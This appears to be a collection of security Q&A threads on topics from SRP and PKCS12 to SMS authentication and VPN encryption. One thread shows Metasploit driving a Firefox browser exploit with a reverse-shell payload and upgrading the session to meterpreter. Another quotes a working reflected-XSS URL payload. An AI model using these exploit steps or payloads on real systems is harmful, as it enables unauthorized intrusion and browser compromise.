Using Secure Remote Password without sending the username in the clear To initiate a key exchange using the SRP protocol the client sends the username so the server can look up the salt and password verifier.  Is there a simple way to change this so that an evesdropper cannot discover the username?

I think an additional Diffie-Hellman could take care of that, but the SRP protocol is so similar I wonder if there is a way to merge that in without much overhead.

Diffie-Hellman would not help here: an active attacker could use a classical MITM and see whatever data is supposed to be protected by the DH key. He would only see the SRP exchange "from the outside" but would still learn the username.

The non-anonymity of the connecting user is a rather fundamental property of Password-Authenticated Key Exchange algorithms. Such protocols resist offline dictionary attacks because both parties make password-specific commitments in the early stages of the protocol.

In SRP, the server is supposed to choose a random b, and send B = v + gb to the client. A fake server does not know v but would like to learn it, because knowing v allows for an offline dictionary attack (namely, "trying" passwords until one matches, on the attacker's own computer, without interacting anymore with the user or the real server). However, due to the difficulty of the discrete logarithm, an attacker cannot know both v and b which match a given B, unless he chose v and b and computed B from those values. The attacker cannot look back at his past message and think things like: "well, let's assume that instead of the v I used, I should have used v' because that's what the client might have understood"; if he does, then he loses knowledge of b, and without knowledge of b he is "outside" of the subsequent Diffie-Hellman exchange (SRP is still, at its core, a Diffie-Hellman with bells on). In that way, B is a commitment: the server commits to a given password-dependent value v when it sends B, because it will not be able to get any useful information from the rest of the protocol unless he keeps on using that exact value of v. This is were the PAKE magic occurs: this commitment makes sure that an attacker must interact with either the user or the real server or both for every password that he is guessing. This severely lowers efficiency of dictionary attacks, and that's the point of PAKE protocols.

Since the server must commit to a given password-dependent value at the beginning of the protocol (before the authentication has actually occurred), the server must know which password we are talking about, hence a user identifier sent "in the clear".

To preserve user anonymity with regards to eavesdroppers, the server must first be authenticated by the client in a user-independent way, which is what you get from a basic TLS tunnel with server certificates, but if you use SRP, isn't it precisely to avoid using certificates ? Also, in an Internet-related setup, the eavesdropper will still learn the user IP address, which is almost as good as a name in many cases.


Metasploit command shell session died from EOFError I am using the multi/browser/firefox_webidl_injection exploit to attack Firefox 26 on a linux VM. I have tried using it with the following payloads: 1) firefox/shell_reverse_tcp and 2) generic/shell_reverse_tcp.

My problem is that I get the message that Command shell session opened but if I wait some time, or try to interact with that session I get the Command shell session closed.  Reason: Died from EOFError

With some googling I found that this error probably means that the payload is not executed successfully, but is that correct? Also, what can I do to solve this error?

The options I use are:

msf exploit(firefox_webidl_injection) > options

Module options (exploit/multi/browser/firefox_webidl_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CONTENT                   no        Content to display inside the HTML <body>.
   Retries  true             no        Allow the browser to retry the module
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  80               yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                no        The URI to use for this exploit (default is random)

Payload options (firefox/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.8.0.2         yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Universal (Javascript XPCOM Shell)

You should upgrade the session to a meterpreter session before the firefox session dies by using:

use post/multi/manage/shell_to_meterpreter

and set the session id of the firefox session:

set session <id>

and then run it:

run

That will upgrade the session to a meterpreter one. You interact with it by using the command

sessions -i <id>

Then if you want to come into the OS native shell, you can write
shell
from the meterpreter session

UPDATE

An easier solution to upgrade sessions to a meterpreter one is:

sessions -u <id>

where id is the firefox session id on your case


Who (which process) is calling curl? On my mac (Lion), I know that curl is bing used by some unknown process to communicate with a server.

Basically I installed little Snitch and find out that "somebody" is using curl periodically.
How can I find out who (what process) is firing up these curl calls?
I guess if a process is directly calling curl I should be able to find who it is (if it is still around by the time I look for it) by checking the process tree (parent to curl).

Are there any best practices or specialized utilities to help with this?

sudo cp /usr/bin/curl /usr/bin/curl.bin
sudo vim /usr/bin/curl.wrapper

here is the wrapper:

#!/bin/sh

date >> /var/tmp/curl_ppid.log
ps -f -p $PPID >> /var/tmp/curl_ppid.log

exec curl.bin "$@"

and then:

sudo chmod 755 /usr/bin/curl.wrapper
sudo touch /var/tmp/curl_ppid.log
sudo chmod a+w /var/tmp/curl_ppid.log
sudo ln -sf /usr/bin/curl.wrapper /usr/bin/curl

It is better to keep the wrapper script in another location called curl.wrapper, so your package manager will not overwrite your script during an update.


How to generate pfx file from private public key? On my domain name (mydomain.org), I send mails from applications. Some of these applications are on Windows and other on Linux. I use opendkim for Linux and I have also set dns and everything it working just find for Linux. Now I want to send emails from Windows application. The application want a keypair within .pfx file.

How can I generate .pfx from mypkey.private and mykey.txt that was create by opendkim ?

Update

I have found this answer, but this is not helping me that mouch since I have two file that contain public and private key

myfile.private

-----BEGIN RSA PRIVATE KEY-----

-----END RSA PRIVATE KEY-----

myfile.txt

-----BEGIN RSA PUBLIC KEY-----

-----END RSA PUBLIC KEY-----

Okay, so DKIM uses only 'raw' publickey crypto and not certificates, but some 'application' for it uses PKCS12 format which requires a certificate. That's pretty silly.

If you have OpenSSL, and on Linux you should, it has several ways to create a self-signed certificate from a private key. A self-signed certificate doesn't accomplish the main purpose certificates were designed for, of distributing trust from a (relatively) centralized source, but it does package a public key with some other data in the form of a certificate, which is often convenient, including here.

The simplest way is req -new -x509 something like:

 openssl req -new -x509 -key privatekey.pem -days N -out dummy.crt
 # N is the number of days (from now) until the cert expires
 # reliers may or may not care about expiration of selfsigned,
 # but to avoid possible issues it is common to use a longish period
 # like 5, 10 or 20 years (roughly 1825, 3650 or 7300 days)

To avoid being prompted for the subject name fields, which are probably meaningless here, you can specify a dummy name something like -subj /CN=mydkim .

It is possible an application silly enough to use PKCS12 for this might want some particular extensions in the certificate; this opens a much broader field because there are about a dozen commonly-used X.509 extensions and hundreds or thousands of more obscure ones. If the 'application' document says anything about cert extensions, or you get an error related to them, post details.

Once you have the cert just use

 openssl pkcs12 -export -in certfile -inkey privatekeyfile -out pkcs12file


HTTPS on streaming video I notice that https://gaming.youtube.com/ is secure with https.

Does the live content (videos) produced by a youtube's user is 'encrypt' too on the network ? what is the point ?

For example, Twitch doesn't use https for streaming video. And if i check this post, there is no point to do streaming with https https://stackoverflow.com/questions/1063082/streaming-video-in-https

I need some clarification about this.

Yes, videos loaded over HTTPS will be encrypted when in transit.

HTTPS employs TLS/SSL over HTTP connections. This provides confidentiality - that is, no one on the network is aware of what you are watching, and integrity - no one can alter the video stream to substitute in a different video. Although which video you are watching could be deduced by other means - a side channel attack could be used to analyse the amount of data sent over the wire and attempt to determine possible videos that match the traffic profile.

Using HTTPS for streaming does add privacy. However, the real reason would be to protect session cookies on the rest of the site from being intercepted to protect user accounts as it is not possible to serve plain HTTP content on an HTTPS page without the browser warning the user.


Use OWASP ZAP import URLs addon programatically and change the HTTP method I was thinking of using this functionality in my script, but it seems that importing URL file automatically sets GET method for every URL on the list, so when Active Scan is run, it only performs GET requests for this URLs. I know I can change the method manually with resend option, but I'm implementing tests to be run automatically with CI, so it's not an option. Is it possible to change all the request's method  in history with one zaproxy method?

You can create an HttpSender script that sonverts the request, the enable it before importing the URLs and disable is afterwards. There are example scripts here: https://github.com/zaproxy/community-scripts/tree/master/httpsender
Please submit any new ones you develop if you think anyone else could find them useful.


Hack-resistant hosting solution for non-profit? (While the answers and comments at How do I deal with a compromised server? are useful, my question is more about prevention of hacking when I do not have total (or much) control over the server.  I have SSH access but not root privileges.  I cannot see or change anything beyond my own user account.)

I volunteer for a non-profit, maintaining their web site for them.  We've been on a low-budget shared hosting platform (Bluehost) for several years.  The site was built on Wordpress and I did my best to keep core WP and all plugins up to date.

But we got hacked multiple times.  Sometimes it was malicious (defacing the home page) while other times it was stealth (I discovered hidden files that seemed to just allow someone to get in and snoop around).

I totally got rid of WP, rebuilding the site on Bootstrap.  I removed all files from the server, ran multiple virus scans on the local version of the new site, grep'd for anything that would be suspicious, and then uploaded the files to the server.  I was nearly 100% sure this new codebase was "clean".

But within a few days, I discovered (by comparing the server to my local version) a hacked index.php (some 'preg-replace' code was inserted before the first line) and found a "logo-small.png" file in a subdirectory that was not really an image file.  It was a big hunk of obfuscated PHP that looked set to to nasty things (I de-obfuscated and viewed the code).

I knew that shared hosts, often with hundreds of sites, could be vulnerable.  At this point, I totally distrust the server we're on.  But when I asked Bluehost if we'd be safer on a VPS or dedicated server (thinking our "sandbox" would be harder to get into), they said it wouldn't really make a difference.

So I'm in a quandary. The non-profit I help out has limited budget.  But I also don't want to continue spending tens to hundreds of hours monitoring and fixing the site.  I don't know if hackers are getting in via the file system or an open port that shouldn't be open.

Is there a cost-effective solution that provides much better "hardening"?

If the only thing you expose to internet are non-interactive web pages and do not need to run server-side components, then you can substantially lower your risks by using a static web site.

You are then left with the web engine itself and to some extend the underlying OS. Apache or nginx are not simple to harden so you could have a look at Cherokee or publicfile.

You can go one step further by either hosting your static files on an existing environment which accepts them (Github Pages for instance) or move to a site you build with blocks like Google Sites (which are free for non-profit organizations).


Transmitting malicious code over audio speakers In a post that reads like science-fiction, a security researcher claims that malicious code was being passed between computers. A few quotes:

... "badBIOS," as Ruiu dubbed the malware, has the ability to use high-frequency transmissions passed between computer speakers and microphones to bridge airgaps.
... It's also possible to use high-frequency sounds broadcast over speakers to send network packets. Early networking standards used the technique, said security expert Rob Graham. Ultrasonic-based networking is also the subject of a great deal of research, including this project by scientists at MIT.
... Then, when Ruiu removed the internal speaker and microphone connected to the airgapped machine, the packets suddenly stopped. With the speakers and mic intact, Ruiu said, the isolated computer seemed to be using the high-frequency connection to maintain the integrity of the badBIOS infection as he worked to dismantle software components the malware relied on.

This has me highly skeptical. As an attack-vector, is it in any way possible to exploit an uninfected computer via only an active microphone? Assuming such trickery is even possible, why didn't the researcher simply record the audio with an (analog) recorder to validate the claims?

You are misinterpreting the article. The author never claims the infection came from communication over a microphone, see this passage:

  For most of the three years that Ruiu has been wrestling with badBIOS,
  its infection mechanism remained a mystery. A month or two ago, after
  buying a new computer, he noticed that it was almost immediately
  infected as soon as he plugged one of his USB drives into it. He soon
  theorized that infected computers have the ability to contaminate USB
  devices and vice versa.

So the initial infection came from USB, which is not a uncommon attack vector in todays post-stuxnet world.

The interesting part, while still hard to believe but is possible, is the fact that two already infected machines would use microphone and speakers to communicate with each other to potentially pass along command and control information between themselves across a airgap.


What is Ingress filtering and how does it work? I know that Ingress filtering is used to try and verify that a packet actually came from the ip address that it claims to have come from. But how is it possible to verify this when all you have is the packet? What are you checking against? Perhaps an explanation of how ip address spoofing works would help.

I know that Ingress filtering is used to try and verify that a packet
  actually came from the ip address that it claims to have come from.
  But how is it possible to verify this when all you have is the packet?

Ingress filtering verifies that the source IP address in the packet is on the list of allowed source IP addresses.  It has no way to verify if the packet actually came from there or not.

  What are you checking against?

It's checking the IP in the packet against the list maintained on the filter.  If the filter only allows 192.168.1.0/24 source addresses, and a packet with a 172.16.1.23 source address arrives, it will not allow that packet in.  On the other hand, a packet with a 192.168.1.45 source address will be allowed in.

  Perhaps an explanation of how ip address spoofing works would help.

In IP spoofing, the client creates a packet with a bogus source address.  When the filter looks at that packet, it will trust the source address it sees, and let it in.  IP address spoofing is the method used to bypass ingress filtering.  However, any responses to that packet will go, not to the malicious sender, but to the unsuspecting owner of that forged source address.  This limits IP spoofing's usability to cases where

You don't need a session of packets back and forth, or
You control network infrastructure necessary to abuse that return path.

You might want to read about the Mitnick Attack which is perhaps the most famous example of someone managing to spoof an address and make it work long enough to get something out of a session.  In effect, he managed to fake a session with a forged source address by a) predicting the server's behavior that he couldn't see and b) suppressing the natural responses of the spoofed target to "unsolicited" packets.

IP spoofing is most commonly seen with things like DDoS attacks, where the attackers will send spoofed packets because they don't care about a response - they're just trying to flood the victim with packets.  Altering the source address makes it easier to disguise the source of the attack and harder to filter (as the spoofed address can change whenever it wants to).

You will also see "Egress Filtering" mentioned - in the DDoS case, this means that when a cable modem user in Hoboken, New Jersey sends a packet out, his ISP will verify that it's using one of their addresses, and drop or block it if it isn't.  If all the ISPs did Egress Filtering, then DDoS wouldn't be able to use spoofed addresses to confuse the defenders.  Sadly, it falls under the category of "doing something right that benefits other people but not the person who has to do it," so it isn't as common as it should be.


Electromagnetic induction attacks - reverse TEMPEST? I know that electromagnetic emissions from a device can be used to extract information from a system, e.g. TEMPEST or Van Eck phreaking.

I also know it's possible to induce a signal into a communications channel using electromagnetic induction, e.g. a telephone wire. Has the concept been proven for communications channels such as ethernet and USB? Are there any papers on this?

I don't know of any attacks on Ethernet or USB, but here are two related topics that might interest you.

Fault attacks. A fault attack involves injecting some sort of error or faulty data into a computation.  It is sort of the dual of a side-channel attack.  Some research papers you might enjoy:

Optical Fault Induction Attacks, CHES 2002.
Tamper Resistance – A Cautionary Note.
Low Cost Attacks on Tamper Resistant Devices, Ross Anderson, Markus Kuhn, Security Protocols 1997.

See also Ross Anderson's Security Engineering, particularly the chapters on Emission Security and Physical Tamper Resistance.

Active side-channel attacks. You might be interested in learning about NONSTOP and HIJACK.  These are military codewords that are not fully understood, but there is some running speculation that they relate to side-channels that arise when equipment carrying sensitive data is irradiated by a high-strength signal.


Is it safe to rely on text messages as a means on authentication? Many websites, including banks, use text messages as their primary or secondary means of authentication. In theory, it sounds like a perfect method unless the user loses their phone or has it infected with a virus.

However, are there any known attacks on text messages that don't rely on access to the actual phone? Is it perfectly safe to rely on text messages as an authentication method?

In my opinion SMS messages for two factor authentication is not a secure design decision compared to other alternatives.

SMS messages are vulnerable to a number of scenarios:

Malware on the smartphone, the vast majority of users don't check permissions so it's reasonable to assume malware creators could quite easily access SMS. This is especially a problem if the attack against the password originated from the phone too (such as via a phishing app).
GSM can potentially be compromised

An alternative which is superior in pretty much every way is TOTP, where basically the user encrypts the time rather than the service having to send something to the user. This way absolutely no communication needs to be made with the 2FA device, and can effectively be used offline.

Google Authenticator is one popular implementation.


Can public certificates be password-protected? I've only seen private key files (.pfx, .pkcs12) being password protected. Someone told me public cert files (.cer) can also be password-protected. Is that true? Is it also true to say any certificate can be password-protected?

Just a note - I've tried using openssl to create some self-signed certs using the command below, and the only password I was prompted to enter was for the public key. Not sure if that's enough proof that there's no such thing as a public certificate password, or there are additional openssl commands to define public cert password that I don't know about?

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem

What would be the point ? A public certificate is public: if you need to password-protect it, it would mean your security model is flawed. Therefore, there is no standard way to store an X509 certificate in a password-protected form.

That being said, in practice, you can place a cert into any kind of container: a PGP protected file, a ZIP file, a password-protected PKCS#12 (basically, a PFX) or any type of container.


How does VPN encryption work? I've been searching and searching, but I can't seem to find a good-enough technical explanation. From what I've gathered, there are two "things" able to secure VPNs:

1) Pre-Shared Key: This handles authentication, because each side has to have the same key. However, how are the actual packets encrypted, and how does the VPN appliance know how to decrypt them? The PSK isn't a symmetric key (I hope, since it's short), so..

2) Certificates: This makes conceptual sense to me - the server certificate is used to encrypt the data, and the client certificate is used to authenticate the client. Right? So the client provides their public certificate to the server in advance to be able to identify them (or chain trust is established?), and each packet is encrypted and then signed and then encapsulated in another packet for travel?

I understand conceptually the concept of tunneling, but I'm trying to figure out the actual encryption implementation details, and I'm having difficulty. If anyone could provide some answers or point me to some resources that I could read, I would greatly appreciate it.

A few additional notes:

I don't have any particular VPN appliance in mind.
VPN should mitigate MITM attacks, since the data should be encrypted in such a way that only the end appliance can decrypt it, right?  Or only the client and the end appliance can, in the case of a symmetric key.
SSTP and IPSec were mentioned, but I can't find the relevant details to answer my above questions.

The symmetric encryption key is derived using a key exchange, even in the case of using a pre-shared key (see RFC 2409 section 5, particularly at the end of page 8 and then at section 5.4).
In the case of certificates, the public keys are used for the key exchange in order to negotiate a symmetric encryption key (see RFC 2409 section 5 again).  The client and server (or peers) must know each other's certificates in advance or establish pair trust; you're correct.  The server certificate isn't used to encrypt data; the symmetric key negotiated during the key exchange is.
You're correct on the mitigation of MITM attacks.  The authenticated key exchange establishes a symmetric key known to only the two peers (client and appliance), thereby preventing an attacker from modifying the key exchange packets or decrypting/modifying the encapsulated packets.


Why is FireSheep such a big deal? We've had WireShark and other tools for a long time before. Why does everybody make such a big deal about FireSheep?

Because it's easy.
And accessible.

Firesheep didn't create any new technology, and noone claims it did. But the point is, it has now become extremely easy to view and spoof others identities, and it is very accessible to almost any user (well, any user that can download and install Firefox and Firesheep plugin...)

It's really just a question of visibility.


Hashing algorithm where re-identification is impossible? I´m trying to anonymize an message-thread id to prevent re-identification even with full access to the source database.

I need consistency when processing, so that multiple instances of say "100" produces the same hash just like a regular hashing algorithm.
I need to cut the cord at one point and delete the key/seed, so that it´s impossible to produce the hash using "100" in the future.

Thank you for any pointers. Example in Python or Java would be appreciated.

Update - Practical application of the answer:

I generated a 24 character password on https://www.random.org/ to use as a seed/key.

I found a simple implementation on this Gist: https://gist.github.com/ishikawa/88599

So the plan is to delete the key from my code once I´m ready and the data will be fully detached from it´s origin.

What it sounds like you need is a keyed hash.   Perhaps the most common example is HMAC.   It takes your data and key, in order to produce the output which will be deterministic, so you will get the same MAC output for 100 (your sample input) every time.   When you're finished computing the hashes on your data, delete the key, and you will no longer be able to compute the same MACs without brute forcing the key.  Assuming the key you've chosen is strong enough (say, 128-bits from a CSPRNG) and this will not be feasible even with all of the computing power on earth for all time.


How can I see traceroute details in NMAP? I'm using NMAP for Network scan ;

The output does not contain the full traceroute details. Can I view all intermediate routers/hosts using the NMAP GUI?

A simple VPN connection IP traceroute...

Thanks your answers...

Try with this command

nmap -sn --traceroute <remote_ip>

And lookup these:

https://serverfault.com/questions/432017/whats-going-on-with-traceroute

https://svn.nmap.org/nmap/zenmap/share/zenmap/config/scan_profile.usp

http://seclists.org/basics/2011/Mar/19


OpenSSH-server: Are there any security implications and/or value of/for 'TCPKeepAlive yes' I have read a degree of mixed reports on the security implications and/or value of allowing TCPKeepAlive yes in /etc/ssh/sshd_config (for OpenSSH-server). Anything definitive on the security best practices regarding TCPKeepAlive and/or ClientAliveInterval, etc would be warmly welcomed.

From what I gather there appears to be no real and/or immediate risk of having TCPKeepAlive yes (source) beyond the possibility that someone could spoof a TCP packet to stop an SSH session from timing out. I.e.

  You will note in the next section that a spoofing issue exists with
  keep alive

(source - under the heading "SSH  Users")

I read this as meaning that the risk of it actually having any serious security impact on the SSH session itself is nil.

However, a GitHub user notes:

  You're quite right. It seems that there's no actual exploitable
  vulnerability with TCPKeepAlive -- yet

Implying that it's only a matter of time before it may become exploitable?!

Another source suggests that there is little value in TCPKeepAlive yes, so long as ClientAliveInterval is configured appropriately.

A blog post (from 2013) titled "Hardening your SSH server" (under the heading "Prevent zombies") suggests:

  To avoid infinitely hanging sessions, this should be left on.

Although as it doesn't mention ClientAliveInterval, I'm guessing perhaps that may not be 100% relevant now?

Please note that despite my significant googling, all of my sources, bar the 2013 blog post, come from the GitHub thread I've linked to. Beyond those few mentions. I can find nothing substantial one way or the other. Further sources, especially authoritative ones would be warmly welcomed.

There are three primary ways to keep an SSH session alive:

TCPKeepAlive - An empty ACK is periodically sent, preventing the TCP connection from naturally closing due to inactivity. This operates entirely on the TCP-level. It can only be spoofed with an MITM attack or an extremely advanced TCP-hijacking adversary.
ServerAliveInterval - A message is sent periodically from the client to the server using the SSH protocol. The main benefit to using this is that a firewall cannot tell if it is a keepalive or a legitimate message. A TCP keepalive on the other hand may be blocked by a firewall.
ClientAliveInterval - Idem but sent from the server to the client.

Is there any risk to an attacker forcing an SSH connection to stay open? Not really. The ephemeral session key is periodically changed to prevent a long-running SSH session from being a more juicy target. As such, I can't think of any significant reason why sending keepalives through the TCP layer would be considered a security issue. However, there is still no reason to use it. You can safely use either ClientAliveInterval or ServerAliveInterval and disable TCP keepalives.


Are 500 responses or specific error codes more secure for REST services? I am building a REST API to store security sensitive data for both my client and third-party partners.

Each request is validated using an HMAC of certain data which is keyed on a temporary key assigned for a short duration after the user is logged in.  Of course everything runs over TLS.  Every request gets logged, along with the keys to any data returned, as well as the keys to any data that would have been returned if the request were not blocked for some reason.

If the data is not present, or if the data at a location may be read by a particular user, but not updated, or if the update request is malformed, should the server return a meaningful error message, or not?

If the user does not have permissions to perform an action, a 401 or 403 response should be returned, indicating that the request failed due to lack of permissions to perform the action.  Other response codes may be used in the case where the data is malformed, or the expected data types do not match (sending a string to an int field, etc.).  Basically, follow good REST/HTTP practices and log everything, but don't provide any information to the user beyond a basic hint as to what went wrong.
Never give anyone any information, in case it could be used against the system in some way.  Only ever return a 500 error, with no description of any kind.  There is some level of disagreement as whether or not to even return a 404, or if an empty response or 500 error should be returned instead.  If a third-party developer is encountering these responses, and doesn't understand why, they must contact our company, have someone look into the logs and explain how to make the requests properly.

Does anyone have "from the trenches" experience as to which methodology makes the most sense?  Of particular concern is how to balance security with usability and support requests.

Short version:

Be informative enough to support legitimate users of your application, but no more than that.

Long version:

First of all, there is no single answer for this, because it depends upon the context of the application.  If you're releasing an open-source API for your product to allow people to write clients, then you want to lean in the direction of providing useful feedback so they can debug their code and write useful error handlers.  If you're releasing closed-source client software to interact with your closed-source server, then you can be a little more restrictive, because you're only impacting yourself.

Second of all, the RESTful model implies in part that you're going to return HTTP codes with semantic meaning (e.g., 404 for "Not Found", not just 500 for everything).  Of course, REST is just a way of doing things, so it's not like the REST auditor will rap your knuckles if you don't, but if you're using a model, you should consider that it has reasons for being designed as it is.

Third of all, the most important security focus you can have is on the content of error messages, not the signifier.  Returning a 404, 403, 405, 502, or 503 is good as it helps the endpoint determine - roughly - what went wrong.  Returning a stack trace from your Tomcat server, on the other hand, is way over the line - and it's probably the default, so be careful!

Finally, my experience "from the trenches" was as I've described: return the right HTTP error code, but don't wax poetic about it, "503" says "Service unavailable" and that's it.  For things that are not HTTP-level issues, we return a 200 with a short application-layer error code.  Codes are numeric, and can be found in the API, and so do provide "an attacker" with some information - here they had the wrong password, here they had too many concurrent connections, here they had "objectionable content".  Yes, that's providing an attacker a way to map the system.  The value of having a system that can be debugged by and for legitimate users outweighed the security benefit gained by obfuscating errors with a generic return value.  For example, I'm willing to bet a smart attacker could differentiate between authentication error and WAF violation by paying close attention to the round trip latency, so I'm not losing all that much by giving it to him in an error code.


Preventing body onload xss that is injected as a request parameter I have a rails 4.0.1 app that allows locale as a request parameter. Here is what i saw when i tested my app on firefox;

http://localhost:3000/pages?locale=en_EN%22%3E%3Cbody%20onload=%22alert%28%27XSS%27%29

So Firefox executes body=onload when the page renders, if i run this request from Firefox browser sadly alerts xss in a dialog box when it loads!

Chrome doesn't even send the request and Safari says request failed which is good.

There is nothing harmful to backend with it but this request terribly effects client side!

Am i missing something to implement in my response headers?
What is there to do in order to tell browser not to manipulate DOM with request parameters?

so it could be that you've got an instance of a known rails bug as there was recently an XSS issue in internationalization.  CVE-2013-4991

In the first instance, if you can, I'd recommend upgrading to a patched version or applying the workaround in the link above.


What is risk of having memcache in public interface? To what extent a hacker can potentially cause harm to a server? Can you please give few examples?

Recently, there was a data breach in my website and
I  found out this interface was public-facing and was curious to see if this could have been used for data breach.

To what extent a hacker can potentially cause harm to a server? Can
  you please give few examples?

A few examples are XSS and data ex-filtration.

For more information on the XSS scripting exploit, please review: http://niiconsulting.com/checkmate/2013/05/memcache-exploit/

For more information on the data ex-filtration, please review: http://blog.codesherpas.com/on_the_path/2010/08/securing-memcache-in-2-minutes.html

It seems there are two CVE's for MemCache, specifically:

CVE-2010-5276 -
The Memcache module 5.x before 5.x-1.10 and 6.x before 6.x-1.6 for Drupal does not properly handle the $user object in memcache_admin, which might "lead to a role change not being recognized until the user logs in again."

CVE-2010-5275 -
Cross-site scripting (XSS) vulnerability in memcache_admin in the Memcache module 5.x before 5.x-1.10 and 6.x before 6.x-1.6 for Drupal allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Keep in mind that there could be more vulnerabilities with MemCache that have not been publicly disclosed.


Is this account change PDF email (supposedly from Paypal) an exploit? i recently received the following (rather obvious) phishing email:

i'm not a PayPal user so this particularly un-alarming for me. however, when viewing as plain text, it became evident that there were hidden characters between every displayed letter of each word, as so:

  ------------------------------ ------------------------------ ---------- Statement your account has been updated successfully on 12:30:14 pm Friday, December 22, 2017

  HzeglelMo,

  YmocuTr aMcacdoduvnbt cfhoannlgze1s sHuzcocXeysVsmfEudlIlKy
  cwh9a2nOgVead.

  TFhFe dHePt2aNi2lGs oZf thhte cThzaAnAgJe3s abr9e iIn aztbteaVcshsegd
  DLorwCnIlFo6ald aYn0d rgeuaid tchGe altjtFaScMhJepd YZobu w3inlWl
  fOiAnFd m5edsDs0aHgJe iQn A2dToebee RgefaEdAenr (kPyDKFV)
  AfwoHr1mraMtn.

  TuhsaunxkWs fjorr jXori1neienRg t6hKe mkimlAlci4oKn6s off pkeiospslLe
  w8h8o rIeGlDy oSn uNs tho mpatkEe s4e2csu3rie fFiqnNaXnsccikaEl
  thrtaEnOsia2cFt6iWocn2s a7rUoPuTned tLh1e wIoxr5lnd0.

  SIiTnocAefrSeVlWyd,W

  PVacy6Pka1l1bidttS0u4pjp0oErCtE.k

  HbeUlrp r|xddl8vSme5cKu6rQi8tcyoslnnfCte8nrtDrDe

  PcavyqPzaDlkix8tt(yEGuIrRodp9eP) S.à ri.jlH.IeSt C3i2ee, Sb.rC8.EAp.M
  SyobcHiété eOn CqoGmImwaBnmdhiYtfe plaAr AacNtkiIonXs.
  RoeSgPirsNtpe6rreWd oefGfJi1cteD: 212w-t2P4 BloJuJl5ejvBaYrmd
  R6oGykahl, Ls-c2S4r4r9 Lzulx1etmbb7u9rkg1. RKCHS LmuFxweCmUbyuLrmg BE
  161t8 3V419a.

what could this be for? has anyone ever seen this?

UPDATE - here are the From + Subject headings

  From: service@intl.paypal.com .

  Sent: Sunday, December 24, 2017 9:39 PM

  Subject: Case ID Number PP-M-LL0PUG4V : Statement your account has
  been updated successfully on 12:30:14 pm Friday, December 22, 2017

This is just regular malware spam.

The evil part of this message is likely the attached PDF it mentions. It likely contains an exploit which targets a vulnerability in one or more PDF readers and does something bad if opened with a vulnerable program. So do not open the attachment.

The reason for the gibberish text in the email's sourcecode is likely to confuse spam filters so they don't filter it.


How to implement client side encryption for CalDav & CardDav content? I'm looking for a client-side encryption implementation that would be able to secure CardDav & CalDav data so that they couldn't be compromised even by the hosting provider.

Server side: PHP or Python based Web application implementing CardDav & CalDav
Client side: Desktop E-mail client & mobile client with CardDav & CalDav support

Example:

Client 01 --> WRITE data (data encryption)--> CalDav/CardDav Server

Client 01 <-- READ data  (data decryption)<-- CalDav/CardDav Server

Client 02 --> WRITE data (data encryption)--> CalDav/CardDav Server

Client 02 <-- READ data  (data decryption)<-- CalDav/CardDav Server

The purpose is to ensure confidentiality of the data (contacts, calendar events) on the server in order to keep private information secure from potential eyes-dropping. The goal is also that the data on the server can be accessed by multiple clients AND users.

Do you know if such a thing actually exists & can you provides examples of implementation?

No, this is impossible.

For CalDAV and CardDAV to work the server needs to be able to see the contents of the file in order to respond to the WebDAV/CalDAV/CardDAV methods REPORT and PROPFIND and similar.


How does BeEF do a portscan and ping? I'm wondering how can BeEF do a ping request, port scan or other things that heavily rely on interacting with lower levels of the operating system (OS)?

I used to think that JavaScript cannot access OS functions and APIs. So, how does BeEF do that?

P.S: I've already read other questions but I wasn't satisfied with the answers:

How does BeEF work and how can it be persistent
How does BeEF work? (working understanding)
BeeF - How does it work?

In BeEF, a ping is not an ICMP ping request, and a port scan does not mean a SYN scan (or any of the other common port scanning methods you'd find in nmap for instance). Instead BeEF uses standard web APIs that make layer 7 network requests (HTTP/FTP/WS) and measures the timing of these API calls to determine whether a host was up or a port open.

There are three different techniques BeEF uses for this purpose:

Cross-Origin XMLHttpRequests
HTML Image elements with onerror/onload event listeners
WebSockets

The ping module uses Cross-Origin XMLHttpRequests only, while the port scan module uses all three. BeEF never accesses OS-level networking functionality and cannot send ICMP ping requests or do a TCP SYN scan.


Design a webapp that uses OAuth, but with tokens that can't be used by the operator? I'd like to make a webapp that would allow users to OAuth with Stack Exchange, so that they can perform actions like voting through the app.

I'm stuck at one point, though: I know how to perform OAuth, but many users don't want to OAuth with my app if I can look in the DB and take their credentials, and possibly do bad things with them.

Is there a  way to make an OAuthing webapp that doesn't allow me (the operator) to do evil things with the tokens?

Since the granularity of scope authorized by the StackOverflow API stops at 'write' level, it's not possible to restrict authorized privileges to only voting.

The users will simply have to trust you.  They can always revoke their permission via the online app, so they could limit any damage you may do (or someone who compromises currently active tokens).

If you wanted to improve your security against attackers, you could drop tokens which haven't been used in a while (even if they're not expired) to limit any damage.  The only other thing i can think of is to properly implement the secure connections when dealing with tokens.


Dangers of Botnet Scanning Traffic? Are there any dangers to seeing small amounts of botnet/malware associated traffic crawling your public facing infrastructure? For instance seeing the same malware associated IP making different connection attempts to over 1000 public facing IPs.

I'm aware of DDoS types of attacks, but that's not happening here. My initial thought is that it's just routine scanning activity, but I'd like to get some different perspectives to see if there's something simple I'm missing.

This sort of traffic is pretty normal, and very hard to suppress. You could try to set up an automated system to drop connections from domains / IP addresses that you have no association with, but nowadays, a lot of the attacks are coming from cloud providers that you probably have other critical connections to.

I'd use this traffic as an impetus to review your externally facing systems and confirm that they're patched and as secure as you can make them. If you have the time and the resources, you could consider setting up a honeypot, to help get more info on what type of probes and attacks are being attempted against your systems - that can help you better protect your systems.

And keep reviewing your logs!


Server certificate proving client identity When we look at StackExchange's server certificate (by clicking on the Lock icon), it says:

  This certificate is intended for the following purposes:

  Ensures the identity of a remote computer.
  Proves your identity to a remote computer.

I thought that the server certificate contains the public key of the server, thus ensuring its identity to the client.

Then how is it also able to ensure the client's identity?

What you see is not how the certificate is used but how the certificate can be used. This certificate can be used and also is used to authenticate a server against a client. It can also be used as a client certificate to authenticate a client against a server - although it is currently not used that way.

